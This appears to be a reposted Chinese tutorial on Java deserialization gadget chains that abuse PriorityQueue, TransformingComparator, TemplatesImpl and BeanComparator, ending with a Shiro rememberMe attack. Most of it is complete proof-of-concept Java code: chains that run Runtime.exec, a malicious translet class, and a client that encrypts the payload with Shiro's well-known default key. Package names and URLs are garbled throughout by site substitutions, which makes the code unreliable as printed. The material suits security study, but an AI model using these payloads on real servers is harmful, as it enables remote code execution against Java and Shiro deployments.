好得很程序员自学网

<tfoot draggable='sEl'></tfoot>

Java 利用PriorityQueue进行无InvokerTransformer反序列化

java_PriorityQueue

java.util.PriorityQueue 是一个优先队列(Queue),节点之间按照优先级大小排序成一棵树。其中PriorityQueue有自己的readObject反序列化入口。

反序列化链为:PriorityQueue#readObject->heapify()->siftDown()->siftDownUsingComparator()->comparator测试数据pare()。当comparator为TransformingComparator对象时,能触发transform()方法:

至于PriorityQueue的heapify()、siftDown()、siftDownUsingComparator()的用处就是恢复排序、节点下移和比较元素大小。而Comparator则是定义了两个对象用什么方式比较

CC2TransformingComparator

结合CC2的利用方式,就是向TransformingComparator传入恶意Transformer。

Comparator comparator  =  new TransformingComparator ( transformerChain )  ; 

再用priorityQueue触发comparator:

PriorityQueue queue  =  new PriorityQueue (  2  ,  comparator )  ;  queue .add  (  1  )  ;  queue .add  (  2  )  ; 

可以add任何非null对象,因为触发transform与队列参数无关(比较的是1,2,比较方式为comparator测试数据pare())

POC:
package org .example  ;  import java .io  .ByteArrayInputStream  ;  import java .io  .ByteArrayOutputStream  ;  import java .io  .ObjectInputStream  ;  import java .io  .ObjectOutputStream  ;  import java .lang  .reflect  .Field  ;  import java .util  .Comparator  ;  import java .util  .PriorityQueue  ;  import org .apache  测试数据mons  .collections4  .Transformer  ;  import org .apache  测试数据mons  .collections4  .functors  .ChainedTransformer  ;  import org .apache  测试数据mons  .collections4  .functors  .ConstantTransformer  ;  import org .apache  测试数据mons  .collections4  .functors  .InvokerTransformer  ;  import org .apache  测试数据mons  .collections4  测试数据parators  .TransformingComparator  ;  public class CC2TransformingComparator  {  public static void setFieldValue ( Object obj ,  String fieldName ,  Object
            value )  throws Exception  {  Field field  =  obj .getClass  (  )  .getDeclaredField  ( fieldName )  ;  field .setAccessible  (  true  )  ;  field .set  ( obj ,  value )  ;   }  public static void main ( String [  ]  args )  throws Exception  {  Transformer [  ]  fakeTransformers  =  new Transformer [  ]   { new
                ConstantTransformer (  1  )  }  ;  Transformer [  ]  transformers  =  new Transformer [  ]   {  new ConstantTransformer ( Runtime .class  )  ,  new InvokerTransformer (  "getMethod"  ,  new Class [  ]   {  String .class  ,  Class [  ]  .class   }  ,  new Object [  ]   {   "getRuntime"  ,  new Class [  0  ]   }  )  ,  new InvokerTransformer (  "invoke"  ,  new Class [  ]   {  Object .class  ,  Object [  ]  .class   }  ,  new Object [  ]   {   null  ,  new
                        Object [  0  ]   }  )  ,  new InvokerTransformer (  "exec"  ,  new Class [  ]   {  String .class   }  ,  new String [  ]   {   "calc.exe"   }  )  ,   }  ;  Transformer transformerChain  =  new
                ChainedTransformer ( fakeTransformers )  ;  Comparator comparator  =  new
                TransformingComparator ( transformerChain )  ;  PriorityQueue queue  =  new PriorityQueue (  2  ,  comparator )  ;  queue .add  (  1  )  ;  queue .add  (  2  )  ;  setFieldValue ( transformerChain ,   "iTransformers"  ,  transformers )  ;  ByteArrayOutputStream barr  =  new ByteArrayOutputStream (  )  ;  ObjectOutputStream oos  =  new ObjectOutputStream ( barr )  ;  oos .writeObject  ( queue )  ;  oos .close  (  )  ;  System .out  .println  ( barr )  ;  ObjectInputStream ois  =  new ObjectInputStream ( new
                ByteArrayInputStream ( barr .toByteArray  (  )  )  )  ;  Object o  =   ( Object ) ois .readObject  (  )  ;   }   } 

测试结果:

TemplatesImpl无数组TransformingComparator

用TemplatesImpl字节码的方式也能进行利用,并且还能用于shiro的无数组链:

同样的向TransformingComparator传入恶意Transformer,这次传的是InvokerTransformer,而非transformerChain数组

Comparator comparator  =  new TransformingComparator ( transformer )  ; 

触发comparator的方式还是实例化PriorityQueue对象

PriorityQueue queue  =  new PriorityQueue (  2  ,  comparator )  ;  queue .add  ( obj )  ;  queue .add  ( obj )  ; 

为什么要传TemplatesImpl的对象obj呢?回想在没有ConstantTransformer初始化对象的情况下,shiro反序列化是依靠TiedMapEntry的构造函数把初始化对象传入key

TiedMapEntry的hashcode调用了getValue,getValue触发lazyMap.get()

但是在使用PriorityQueue类时,就无法用到shiro的入口HashMap,自然整条链都用不了。进入templatesImpl对象的newTransformer()入口的方式变为:

PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()

只需要compare()时对象为恶意InvokerTransformer

恶意字节码类:

package evil ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .DOM  ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .TransletException  ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .runtime  .AbstractTranslet  ;  import com .sun  .org  .apache  .xml  .internal  .dtm  .DTMAxisIterator  ;  import com .sun  .org  .apache  .xml  .internal  .serializer  .SerializationHandler  ;  public class EvilTemplatesImpl extends AbstractTranslet  {  public void transform ( DOM document ,  SerializationHandler [  ]  handlers )  throws TransletException  {  }  public void transform ( DOM document ,  DTMAxisIterator iterator ,  SerializationHandler handler )  throws TransletException  {  }  public EvilTemplatesImpl (  )  throws Exception  {  super (  )  ;  System .out  .println  (  "Hello TemplatesImpl"  )  ;  Runtime .getRuntime  (  )  .exec  (  "calc.exe"  )  ;   }   } 

POC:

package org .example  ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .trax  .TemplatesImpl  ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .trax  .TransformerFactoryImpl  ;  import javassist .ClassPool  ;  import javassist .CtClass  ;  import org .apache  测试数据mons  .collections4  .Transformer  ;  import org .apache  测试数据mons  .collections4  测试数据parators  .TransformingComparator  ;  import org .apache  测试数据mons  .collections4  .functors  .InvokerTransformer  ;  import java .io  .ByteArrayInputStream  ;  import java .io  .ByteArrayOutputStream  ;  import java .io  .ObjectInputStream  ;  import java .io  .ObjectOutputStream  ;  import java .lang  .reflect  .Field  ;  import java .util  .Comparator  ;  import java .util  .PriorityQueue  ;  public class ShiroTransformingComparator  {  public static void setFieldValue ( Object obj ,  String fieldName ,  Object value )  throws Exception  {  Field field  =  obj .getClass  (  )  .getDeclaredField  ( fieldName )  ;  field .setAccessible  (  true  )  ;  field .set  ( obj ,  value )  ;   }  protected static byte [  ]  getBytescode (  )  throws Exception  {  ClassPool pool  =  ClassPool .getDefault  (  )  ;  CtClass clazz  =  pool .get  ( evil .EvilTemplatesImpl  .class  .getName  (  )  )  ;  return clazz .toBytecode  (  )  ;   }  public static void main ( String [  ]  args )  throws Exception  {  TemplatesImpl obj  =  new TemplatesImpl (  )  ;  setFieldValue ( obj ,   "_bytecodes"  ,  new byte [  ]  [  ]  { getBytescode (  )  }  )  ;  setFieldValue ( obj ,   "_name"  ,   "HelloTemplatesImpl"  )  ;  setFieldValue ( obj ,   "_tfactory"  ,  new TransformerFactoryImpl (  )  )  ;  Transformer transformer  =  new InvokerTransformer (  "toString"  ,   null  ,   null  )  ;  Comparator comparator  =  new TransformingComparator ( transformer )  ;  PriorityQueue queue  =  new PriorityQueue (  2  ,  comparator )  ;  queue .add  ( obj )  ;  queue .add  ( obj )  ;  setFieldValue ( transformer ,   "iMethodName"  ,   "newTransformer"  )  ;  ByteArrayOutputStream barr  =  new ByteArrayOutputStream (  )  ;  ObjectOutputStream oos  =  new ObjectOutputStream ( barr )  ;  oos .writeObject  ( queue )  ;  oos .close  (  )  ;  System .out  .println  ( barr )  ;  ObjectInputStream ois  =  new ObjectInputStream ( new ByteArrayInputStream ( barr .toByteArray  (  )  )  )  ;  Object o  =   ( Object ) ois .readObject  (  )  ;   }   } 

在4.1和3.2.2更新了FunctorUtils#checkUnsafeSerialization,3.2.2默认情况下会检测常见危险transformer(InstantiataTransformer、InvokerTransformer、PrototypeFactory等)的readObject进行调用,4.1这几个类直接不再实现Serilalizable接口

CommonsBeanutil

javaBean的介绍:https://HdhCmsTestliaoxuefeng测试数据/wiki/1252599548343744/1260474416351680

从中可以了解到getter、setter、属性的概念。

在上文,我们用PriorityQueue#compare()来触发TransformingComparator#transform()。除了这种方式外,还有org.apache测试数据mons.beanutils.BeanComparator测试数据pare()

BeanComparator测试数据pare()方法代码如下:

其中的getProperty方法可以调用任意javaBean的getter方法(形如

getName)。

Object value1 = PropertyUtils.getProperty(o1,this.property);

该方法甚至可以递归查询:PropertyUtils.getProperty(o1,"o2.name");

现在反序列化链为:

BeanComparator#compara()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()

getOutputProperties()符合getter的定义,所以property(属性名)的值为OutputProperties时,触发反序列化链。PriorityQueue队列和property的值可以用反射的方式修改。

setFieldValue ( comparator ,   "property"  ,   "outputProperties"  )  ;  setFieldValue ( queue ,   "queue"  ,  new Object [  ]  { obj ,  obj }  )  ; 

POC:

package org .example  ;  import java .io  .ByteArrayInputStream  ;  import java .io  .ByteArrayOutputStream  ;  import java .io  .ObjectInputStream  ;  import java .io  .ObjectOutputStream  ;  import java .lang  .reflect  .Field  ;  import java .util  .PriorityQueue  ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .trax  .TemplatesImpl  ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .trax  .TransformerFactoryImpl  ;  import javassist .ClassPool  ;  import org .apache  测试数据mons  .beanutils  .BeanComparator  ;  public class CommonsBeanutils1  {  public static void setFieldValue ( Object obj ,  String fieldName ,  Object value )  throws Exception  {  Field field  =  obj .getClass  (  )  .getDeclaredField  ( fieldName )  ;  field .setAccessible  (  true  )  ;  field .set  ( obj ,  value )  ;   }  public static void main ( String [  ]  args )  throws Exception  {  TemplatesImpl obj  =  new TemplatesImpl (  )  ;  setFieldValue ( obj ,   "_bytecodes"  ,  new byte [  ]  [  ]  {  ClassPool .getDefault  (  )  .get  ( evil .EvilTemplatesImpl  .class  .getName  (  )  )  .toBytecode  (  )   }  )  ;  setFieldValue ( obj ,   "_name"  ,   "godown"  )  ;  setFieldValue ( obj ,   "_tfactory"  ,  new TransformerFactoryImpl (  )  )  ;  BeanComparator comparator  =  new BeanComparator (  )  ;  PriorityQueue < Object >  queue  =  new PriorityQueue < Object >  (  2  , comparator )  ;   //  stub data for replacement later
        queue .add  (  1  )  ;  queue .add  (  1  )  ;  setFieldValue ( comparator ,   "property"  ,   "outputProperties"  )  ;  setFieldValue ( queue ,   "queue"  ,  new Object [  ]  { obj ,  obj }  )  ;  ByteArrayOutputStream barr  =  new ByteArrayOutputStream (  )  ;  ObjectOutputStream oos  =  new ObjectOutputStream ( barr )  ;  oos .writeObject  ( queue )  ;  oos .close  (  )  ;  System .out  .println  ( barr )  ;  ObjectInputStream ois  =  new ObjectInputStream ( new ByteArrayInputStream ( barr .toByteArray  (  )  )  )  ;  Object o  =   ( Object ) ois .readObject  (  )  ;   }   } 

那么这条链跟上面那个只用到了priorityQueue的区别在哪?

好像只是反序列化的入口从newInstance变成了getOutputProperties?

正是因为不再需要newInstance作为入口,也就不再需要Invokertransformer进行调用。也就是

PriorityQueue#Compare()->TransformingComparator#transform->InvokerTransformer->TemplatesImpl#newTransformer()这段过程可以全部舍弃掉,转而换成:

PriorityQueue#compare()->BeanComparator#compare()->PropertyUtils.getProperty()->TemplatesImpl#getOutputProperties()

因此3.2.2和4.1就能开心的拿着这个payload去打

不需要CC库的shiroCommonBeanutils

shiro本身依赖commons-beautils库。所以上面的payload可以直接改造用来打shiro。

如果本地commons-beanutils和服务器shiro的CB版本不一样的话,serialVersionUID就会不同,也就不兼容。也就是打的时候需要把本地commons-beanutils改成和服务器一样的版本

那服务端没有commons-collections库的时候呢?

在new BeanComparator时,BeanComparator构造函数使用了ComparableComparator

而这个类来自commons.collections,所以要避开使用这个缺省参数。也就是要找到一个类有comparator接口和serializable接口

CaseInsensitiveComparator不仅实现了上面两个接口,还在java.lang.String下。而且用getOutputProperties的方式调用是不需要用到恶意comparator的,只需要恶意property

所以修改Beancomparator初始化时的参数为CaseInsensitiveComparator的对象就行了:

final BeanComparator comparator = new BeanComparator(null,String.CASE_INSENSITIVE_ORDER);

POC:

package org .example  ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .trax  .TemplatesImpl  ;  import com .sun  .org  .apache  .xalan  .internal  .xsltc  .trax  .TransformerFactoryImpl  ;  import org .apache  测试数据mons  .beanutils  .BeanComparator  ;  import java .io  .ByteArrayOutputStream  ;  import java .io  .ObjectOutputStream  ;  import java .lang  .reflect  .Field  ;  import java .util  .PriorityQueue  ;  public class ShiroCommonsBeanutils1  {  public static void setFieldValue ( Object obj ,  String fieldName ,  Object
            value )  throws Exception  {  Field field  =  obj .getClass  (  )  .getDeclaredField  ( fieldName )  ;  field .setAccessible  (  true  )  ;  field .set  ( obj ,  value )  ;   }  public byte [  ]  getPayload ( byte [  ]  clazzBytes )  throws Exception  {  TemplatesImpl obj  =  new TemplatesImpl (  )  ;  setFieldValue ( obj ,   "_bytecodes"  ,  new byte [  ]  [  ]  { clazzBytes }  )  ;  setFieldValue ( obj ,   "_name"  ,   "HelloTemplatesImpl"  )  ;  setFieldValue ( obj ,   "_tfactory"  ,  new TransformerFactoryImpl (  )  )  ;  final BeanComparator comparator  =  new BeanComparator (  null  ,  String .CASE_INSENSITIVE_ORDER  )  ;  final PriorityQueue < Object >  queue  =  new PriorityQueue < Object >  (  2  , comparator )  ;   //  stub data for replacement later
        queue .add  (  "1"  )  ;  queue .add  (  "1"  )  ;  setFieldValue ( comparator ,   "property"  ,   "outputProperties"  )  ;  setFieldValue ( queue ,   "queue"  ,  new Object [  ]  { obj ,  obj }  )  ;   //   ==================   //  生成序列化字符串
        ByteArrayOutputStream barr  =  new ByteArrayOutputStream (  )  ;  ObjectOutputStream oos  =  new ObjectOutputStream ( barr )  ;  oos .writeObject  ( queue )  ;  oos .close  (  )  ;  return barr .toByteArray  (  )  ;   }   } 

转字节码打shiro poc:

package org .example  ;  import javassist .ClassPool  ;  import javassist .CtClass  ;  import org .apache  .shiro  .crypto  .AesCipherService  ;  import org .apache  .shiro  .util  .ByteSource  ;  public class Clientattack  {  public static void main ( String  [  ] args )  throws Exception  {  ClassPool pool  =  ClassPool .getDefault  (  )  ;  CtClass clazz  =  pool .get  ( org .example  .ShiroCommonsBeanutils1  .class  .getName  (  )  )  ;  byte [  ]  payloads  =  new CommonsCollectionsShiro (  )  .getPayload  ( clazz .toBytecode  (  )  )  ;  AesCipherService aes  =  new AesCipherService (  )  ;  byte [  ]  key  =  java .util  .Base64  .getDecoder  (  )  .decode  (  "kPH+bIxk5D2deZiIxcaaaA=="  )  ;  ByteSource ciphertext  =  aes .encrypt  ( payloads ,  key )  ;  System .out  .printf  ( ciphertext .toString  (  )  )  ;   }   } 

参考:phith0n《java安全漫谈(16、17)》

原文地址:https://HdhCmsTestfreebuf测试数据/vuls/351788.html

查看更多关于Java 利用PriorityQueue进行无InvokerTransformer反序列化的详细内容...

  阅读:13次